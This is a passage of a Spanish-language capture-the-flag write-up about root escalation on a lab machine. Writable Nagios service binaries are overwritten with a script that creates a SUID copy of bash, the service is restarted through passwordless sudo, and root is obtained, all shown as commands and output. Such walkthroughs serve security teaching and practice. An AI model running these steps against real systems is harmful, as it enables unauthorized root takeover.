noto que hay algunos archivos de services
(servicios) que puedo modificar:
╔══════════╣ Analyzing .service files
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services
/etc/systemd/system/multi-user.target.wants/mariadb.service could be executing some relative path
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/npcd.service is calling this writable executable: /usr/local/nagios/bin/npcd
/etc/systemd/system/npcd.service is calling this writable executable: /usr/local/nagios/bin/npcd
You can't write on systemd PATH
Dado que podemos “escribir” en estos archivos, simplemente crearé un script de Bash
para sobreescribir /usr/local/nagios/bin/npcd
dado que esta es una de las opciones que el script manage_services.sh
ofrece y, además, este es uno de los servicios los cuales podemos “sobreescribir” (el otro es nagios
, el cual también puede ser explotado de manera similar). El archivo malicioso que crearé será:
#!/bin/bash
cp $(which bash) /tmp/gunzf0x ; chmod 4755 /tmp/gunzf0x
El cual es un simple script que copia el binario de bash
y le asigna permisos SUID
a la copia.
Le asignamos permisos de ejecución al script malicioso y modificamos el archivo del servicio npcd
:
nagios@monitored:~$ cp /usr/local/nagios/bin/npcd /tmp/npcd_copy # Creamos una copia de respaldo del archivo original
nagios@monitored:~$ nano /tmp/npcd # Creamos un archivo malicioso con el script descrito arriba
nagios@monitored:~$ chmod +x /tmp/npcd # Asignamos permisos de ejecucion para evitar problemas
nagios@monitored:~$ mv /tmp/npcd /usr/local/nagios/bin/npcd # Reemplazamos el archivo de servicio original por nuestro script malicioso
Luego, y ya que no requerimos proveer contraseña, corremos:
nagios@monitored:~$ sudo /usr/local/nagiosxi/scripts/manage_services.sh restart npcd
Y chequeo si el archivo fue creado:
nagios@monitored:~$ ls -la /tmp
total 2120
drwxrwxrwt 11 root root 4096 May 10 23:32 .
drwxr-xr-x 19 root root 4096 Mar 27 10:46 ..
drwxrwxrwt 2 root root 4096 May 10 18:50 .font-unix
-rwsr-xr-x 1 root root 1234376 May 10 23:32 gunzf0x
<SNIP>
¡Nuestro archivo está creado! Es Game Over. Corremos este archivo junto con la flag -p
para hacerlo con permisos de ejecución del propietario y nos convertirnos en root
:
nagios@monitored:~$ /tmp/gunzf0x -p
gunzf0x-5.1# whoami
root
donde podemos, finalmente, obtener la flag del usuario root
en el directorio /root
.
~Happy Hacking